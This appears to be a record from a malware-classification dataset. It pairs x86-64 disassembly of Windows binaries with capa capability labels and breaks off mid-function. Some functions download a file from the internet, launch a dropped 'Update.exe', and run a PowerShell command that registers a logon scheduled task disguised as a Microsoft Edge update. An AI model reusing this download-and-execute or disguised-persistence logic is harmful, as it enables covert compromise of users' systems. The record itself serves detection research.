joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001be0
Capabilities:
Read file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
lea rdx, [0x140019129]
mov rsi, rcx
lea rcx, [rcx + 0x70]
call fcn.140004430
test rax, rax
mov rbx, rax
je 0x140001e01
mov rax, qword [0x14001f3c0]
lea rdx, [rsp + 0x28]
mov r8d, 8
mov rcx, rbx
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
shr rax, 0x18
add eax, 0xc
mov byte [rsp + 0x2b], al
call fcn.1400089d0
test rax, rax
mov rdi, rax
jne 0x140001c58
mov edi, 0xffffffff
mov rcx, rbx
call sub.msvcrt.dll_fclose
mov eax, edi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
xor r8d, r8d
mov edx, eax
mov rcx, rbx
call fcn.14000f650
test eax, eax
js 0x140001db0
lea rcx, [rsi + 0x18]
mov r9, rbx
mov r8d, 1
mov edx, 0x58
call sub.msvcrt.dll_fread
test rax, rax
je 0x140001dd0
mov eax, dword [rsi + 0x20]
add rdi, 0x58
mov dword [rsi + 0x5078], 0
mov edx, dword [rsi + 0x24]
mov ecx, dword [rsi + 0x28]
mov r8d, dword [rsi + 0x2c]
bswap eax
movd xmm0, eax
mov eax, eax
bswap edx
movd xmm2, edx
sub rdi, rax
punpckldq xmm0, xmm2
bswap ecx
movq qword [rsi + 0x20], xmm0
movd xmm0, ecx
bswap r8d
movd xmm3, r8d
add edx, edi
mov qword [rsi], rdi
punpckldq xmm0, xmm3
mov dword [0x140023040], r8d
mov rcx, rbx
xor r8d, r8d
movq qword [rsi + 0x28], xmm0
call fcn.14000f650
movsxd rdi, dword [rsi + 0x28]
mov rcx, rdi
call sub.msvcrt.dll_malloc
test rax, rax
mov rcx, rax
mov qword [rsi + 8], rax
je 0x140001e0b
mov r9, rbx
mov r8d, 1
mov rdx, rdi
call sub.msvcrt.dll_fread
test rax, rax
je 0x140001d98
movsxd rax, dword [rsi + 0x28]
mov rcx, rbx
add rax, qword [rsi + 8]
mov qword [rsi + 0x10], rax
call sub.msvcrt.dll_ferror
test eax, eax
mov edi, eax
jne 0x140001df0
mov rax, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
cmp rax, r9
jae 0x140001c40
nop dword [rax]
mov ecx, dword [rax + 4]
mov edx, dword [rax]
mov r8d, dword [rax + 8]
bswap ecx
movd xmm0, ecx
mov ecx, dword [rax + 0xc]
bswap edx
mov dword [rax], edx
movsxd rdx, edx
bswap r8d
movd xmm1, r8d
punpckldq xmm0, xmm1
movq qword [rax + 4], xmm0
bswap ecx
mov dword [rax + 0xc], ecx
add rax, rdx
cmp rax, r9
jb 0x140001d58
jmp 0x140001c40
lea rdx, str.Could_not_read_full_TOC__n
lea rcx, str.fread
call fcn.140002c80
jmp 0x140001c3b
lea rdx, str.Failed_to_seek_to_cookie_position__n
lea rcx, str.fseek
call fcn.140002c80
jmp 0x140001c3b
lea rdx, str.Failed_to_read_cookie__n
lea rcx, str.fread
call fcn.140002c80
jmp 0x140001c3b
lea rcx, str.Error_on_file._n
call fcn.140002b00
jmp 0x140001c3b
mov edi, 0xffffffff
jmp 0x140001c48
lea rdx, str.Could_not_allocate_buffer_for_TOC__n
lea rcx, str.malloc
call fcn.140002c80
jmp 0x140001c3b
Function at 0x140007c70
Capabilities:
Query environment variable

Disassembly:
push rbx
mov eax, 0x4020
call fcn.14000eb10
sub rsp, rax
xor r8d, r8d
lea rbx, [rsp + 0x20]
mov rdx, rcx
xor ecx, ecx
call fcn.140008fd0
mov r8d, 0x2000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x140007cb8
xor eax, eax
add rsp, 0x4020
pop rbx
ret
lea rdx, [rsp + 0x2020]
mov r8d, 0x2000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor ecx, ecx
xor r8d, r8d
mov rdx, rbx
call fcn.140008e00
test rax, rax
mov rcx, rax
je 0x140007ca6
cmp byte [rax], 0
je 0x140007ca6
call sub.msvcrt.dll__strdup
add rsp, 0x4020
pop rbx
ret

Function at 0x140007d60
Capabilities:
Set environment variable

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rdx, rcx
xor ecx, ecx
call fcn.140008fd0
xor edx, edx
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_free
mov eax, esi
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x1400080b0
Capabilities:
Delete directory

Disassembly:
push r13
mov eax, 0x44a8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000eb10
sub rsp, rax
mov r8d, 0x1000
lea r13, [rsp + 0x2490]
mov rdx, rcx
lea rsi, [rsp + 0x480]
mov rcx, r13
call fcn.140008fd0
mov rdx, r13
mov rcx, rsi
call sub.msvcrt.dll_wcscpy
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov rbp, rax
movzx eax, word [rsp + rax*2 + 0x47e]
cmp ax, 0x2f
je 0x140008110
cmp ax, 0x5c
jne 0x140008158
lea rdx, [0x14001b4ca]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
lea rbx, [rsp + 0x250]
mov rcx, rsi
mov rdx, rbx
call fcn.14000f350
cmp rax, 0xffffffffffffffff
mov r12, rax
jne 0x140008170
mov rcx, r13
call qword [sym.imp.msvcrt.dll__wrmdir]
nop
add rsp, 0x44a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rdx, [0x14001b4c6]
mov rcx, rsi
add rbp, 1
call sub.msvcrt.dll_wcscat
jmp 0x140008110
lea rdi, [rsp + 0x20]
nop dword [rax]
mov r8d, 0x230
mov rdx, rbx
mov rcx, rdi
call sub.msvcrt.dll_memcpy
mov r8, rdi
mov rdx, rbp
mov rcx, rsi
call fcn.1400081c0
mov rdx, rbx
mov rcx, r12
call fcn.14000f3d0
test eax, eax
je 0x140008178
mov rcx, r12
call qword [sym.imp.msvcrt.dll__findclose]
jmp 0x14000813b

Function at 0x1400081c0
Capabilities:
Delete directory
Delete file

Disassembly:
push rbp
mov eax, 0x1038
push rdi
push rsi
push rbx
call fcn.14000eb10
sub rsp, rax
lea rsi, [r8 + 0x24]
mov rbp, rcx
mov rdi, rdx
lea rdx, [0x14001b4ce]
mov rcx, rsi
mov rbx, r8
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x140008200
add rsp, 0x1038
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rdx, [0x14001b4d2]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x1400081f1
xor eax, eax
mov rcx, rbp
mov rdx, rsi
mov word [rbp + rdi*2], ax
call sub.msvcrt.dll_wcscat
test byte [rbx], 0x10
mov rcx, rbp
je 0x140008260
call fcn.1400092b0
test eax, eax
jne 0x140008288
lea rbx, [rsp + 0x20]
mov r8d, 0x1000
mov rdx, rbp
mov rcx, rbx
call fcn.140008e00
mov rcx, rbx
call fcn.1400080b0
jmp 0x1400081f1
mov rbx, qword [sym.imp.msvcrt.dll__wremove]
call rbx
test eax, eax
je 0x1400081f1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbp
call rbx
jmp 0x1400081f1
mov rcx, rbp
call qword [sym.imp.msvcrt.dll__wrmdir]
jmp 0x1400081f1
Function at 0x1400084d0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rdi
mov eax, 0x1020
push rsi
push rbx
call fcn.14000eb10
sub rsp, rax
mov rsi, rdx
mov rdi, r8
lea rdx, [0x14001b56c]
call fcn.140004430
mov rdx, rdi
mov rcx, rsi
mov rbx, rax
call fcn.1400083b0
test rbx, rbx
mov rdi, rax
je 0x1400085c9
test rax, rax
je 0x1400085bc
lea rsi, [rsp + 0x20]
nop word [rax + rax]
mov rcx, rbx
call sub.msvcrt.dll_feof
test eax, eax
jne 0x1400085b8
mov r8d, 0x1000
mov r9, rbx
mov edx, 1
mov rcx, rsi
call sub.msvcrt.dll_fread
test rax, rax
mov r8, rax
jne 0x140008568
mov rcx, rbx
call sub.msvcrt.dll_ferror
test eax, eax
je 0x140008520
mov rcx, rbx
call sub.msvcrt.dll_clearerr
jmp 0x140008591
mov r9, rdi
mov edx, 1
mov rcx, rsi
call sub.msvcrt.dll_fwrite
test rax, rax
je 0x140008589
mov rcx, rdi
call sub.msvcrt.dll_ferror
test eax, eax
je 0x140008520
mov rcx, rdi
call sub.msvcrt.dll_clearerr
mov esi, 0xffffffff
mov rcx, rbx
call sub.msvcrt.dll_fclose
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov eax, esi
add rsp, 0x1020
pop rbx
pop rsi
pop rdi
ret
xor esi, esi
jmp 0x140008596
test rbx, rbx
je 0x1400085c9
mov rcx, rbx
call sub.msvcrt.dll_fclose
test rdi, rdi
je 0x1400085d6
mov rcx, rdi
call sub.msvcrt.dll_fclose
mov esi, 0xffffffff
jmp 0x1400085a6
Function at 0x140008640
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
push r12
mov eax, 0x2110
push rbp
push rdi
push rsi
push rbx
call fcn.14000eb10
sub rsp, rax
mov r8d, 0x1000
xor ebx, ebx
lea rsi, [rsp + 0x110]
mov rdx, rcx
mov dword [rsp + 0x5c], 0
lea r12, [rsp + 0xa0]
mov rcx, rsi
call fcn.140008fd0
mov edx, 1
lea rcx, [0x140007b20]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov rcx, r12
mov dword [rsp + 0x60], 0x18
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 1
pxor xmm0, xmm0
mov rbp, qword [fcn.140016e20]
movups xmmword [rsp + 0xa8], xmm0
xor ecx, ecx
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0xdc], 0x101
mov word [rsp + 0xe0], ax
call rbp
mov rcx, rax
call sub.msvcrt.dll__fileno_1
mov rdi, qword [sym.imp.msvcrt.dll__get_osfhandle]
mov ecx, eax
call rdi
mov ecx, 1
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0xf0], rax
call rbp
mov rcx, rax
call sub.msvcrt.dll__fileno_1
mov ecx, eax
call rdi
mov ecx, 2
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0xf8], rax
call rbp
mov rcx, rax
call sub.msvcrt.dll__fileno_1
mov ecx, eax
call rdi
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0x100], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
mov qword [rsp + 0x40], r12
mov rcx, rsi
mov dword [rsp + 0x28], 0
lea r8, [rsp + 0x60]
mov rdx, rax
lea rax, [rsp + 0x80]
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400087e0
mov rcx, qword [rsp + 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [rsp + 0x5c]
add rsp, 0x2110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rdx, str.Error_creating_child_process__n
lea rcx, str.CreateProcessW
call fcn.140002be0
mov eax, 0xffffffff
add rsp, 0x2110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400089d0
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r12, rcx
mov ecx, 0x2000
mov rbp, rdx
mov rdi, r8
call sub.msvcrt.dll_malloc
test rax, rax
mov rsi, rax
je 0x140008ac0
xor edx, edx
mov r8d, 2
mov rcx, r12
call fcn.14000f650
test eax, eax
js 0x140008ac0
mov rcx, r12
call fcn.14000f6f0
movsxd rbx, eax
cmp rbx, rdi
jb 0x140008ac0
mov r15d, 1
sub r15, rdi
mov qword [rsp + 0x28], r15
mov r13d, 0x2000
cmp rbx, r13
cmovae r13, rbx
lea r14, [r13 - 0x2000]
sub rbx, r14
cmp rbx, rdi
jb 0x140008ac0
xor r8d, r8d
mov edx, r14d
mov rcx, r12
call fcn.14000f650
test eax, eax
js 0x140008ac0
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, rsi
call sub.msvcrt.dll_fread
cmp rax, rbx
jne 0x140008ac0
mov rdx, qword [rsp + 0x28]
lea rbx, [rdx + rax]
jmp 0x140008aaa
lea r15, [rbx - 1]
mov r8, rdi
mov rdx, rbp
lea rcx, [rsi + r15]
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140008ae0
mov rbx, r15
test rbx, rbx
jne 0x140008a90
lea rbx, [r14 + rdi - 1]
test r14, r14
jne 0x140008a39
nop dword [rax]
xor ebx, ebx
mov rcx, rsi
call sub.msvcrt.dll_free
mov rax, rbx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [r13 + rbx - 0x2001]
jmp 0x140008ac2

Function at 0x140009260
Capabilities:
Create directory

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140023300]
test rax, rax
je 0x14000929a
mov dword [rsp + 0x20], 0x18
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
sbb eax, eax
add rsp, 0x48
ret
lea rcx, str.Security_descriptor_is_not_initialized__n
call fcn.140002b70
mov eax, 0xffffffff
jmp 0x140009295
Function at 0x14000dd50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140016e20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140016e20
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000ddc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140024384]
test esi, esi
mov rbx, rcx
jle 0x14000def0
mov rax, qword [0x140024388]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000de0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000de95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000ddf0
mov rcx, rbx
call fcn.14000e830
test rax, rax
mov rdi, rax
je 0x14000df12
mov rax, qword [0x140024388]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000e970
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140024388]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000def7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000de8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000dea0
add dword [0x140024384], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140024388]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000de8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000dd50
nop dword [rax]
xor esi, esi
jmp 0x14000de18
mov rax, qword [0x140024388]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.14000dd50
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.14000dd50
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000e480
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400243e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400243c0]
test rbx, rbx
je 0x14000e4dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000e4d3
test rsi, rsi
je 0x14000e4d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000e4b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000e6f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000e728
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000e730
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000e700
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000e728
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000e730
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000e710
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000e728
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000e730
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000e830
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001f850]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000e850
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000e858
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000e850
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000e8ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000e8a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000e850
add rax, 0x28
cmp rax, r9
jne 0x14000e890
xor eax, eax
ret

Function at 0x14000e8b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001f850]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000e8cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000e8d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000e8cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000e970
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001f850]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000e98f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000e998
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x401530
Capabilities:
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x10]
cmp eax, 2
seta al
add rsp, 0x50
pop rbp
ret
Function at 0x40164b
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x458
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], rcx
mov qword [rbp + 0x3f8], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, [0x0048a027]
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
jne 0x4016e5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rdx, str.l_gfjfkkfk:
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov edx, ebx
mov rcx, rax
call fcn.0044ec00
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
mov eax, 0
jmp 0x4018f4
mov rax, qword [rbp + 0x3c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
jne 0x401781
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rdx, str.f_gfjfkkfk:
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov edx, ebx
mov rcx, rax
call fcn.0044ec00
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x4018f4
mov rax, qword [rbp + 0x3f8]
lea rdx, [0x0048a043]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
jne 0x40180f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rdx, str.gfjfkkfk_to_create_file:
mov rcx, qword [0x0048eab0]
call fcn.00470d10
mov edx, ebx
mov rcx, rax
call fcn.0044ec00
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x4018f4
mov dword [rbp + 0x3b4], 0
jmp 0x401841
mov eax, dword [rbp + 0x3b4]
mov ecx, eax
mov rdx, qword [rbp + 0x3b8]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov r8d, 0x400
lea rcx, [rbp + 0x3b4]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x3c0]
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x40187d
mov eax, dword [rbp + 0x3b4]
test eax, eax
je 0x40187d
mov eax, 1
jmp 0x401882
mov eax, 0
test al, al
jne 0x40181b
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rdx, str.jgjg
mov rcx, qword [0x0048ead0]
call fcn.00470d10
mov rcx, rax
mov rax, qword [rbp + 0x3f8]
mov rdx, rax
call fcn.00470d10
mov rdx, qword [0x0048eae0]
mov rcx, rax
call fcn.0044e9d0
mov eax, 1
add rsp, 0x458
pop rbx
pop rbp
ret
Function at 0x4018fe
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.tg:__setlanguage_langclassic_zh_cn
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:WindowsSysWOW64Update.exe
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x401973
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x40]
lea rax, str.powershell__Command___action__New_ScheduledTaskAction__Execute_C:WindowsSysWOW64Update.exe___trigger__New_ScheduledTaskTrigger__AtLogon__Register_ScheduledTask__Action__action__Trigger__trigger__TaskName_MicrosoftEdgeUpdateTaskUserS_1_5_21__Description_
mov ecx, 0x3b
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
lea rdx, [rdx + 4]
lea rax, [rax + 4]
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x220]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x220]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.tg:__setlanguage_langclassic_zh_cn
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:WindowsSysWOW64Update.exe
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x2c0
pop rsi
pop rdi
pop rbp
ret
Function at 0x401aee
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
mov eax, 0x130
mov dword [rbp - 0x60], eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
sete al
test al, al
je 0x401b59
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x401bc2
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401b8e
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401bc2
lea rdx, [rbp - 0x60]
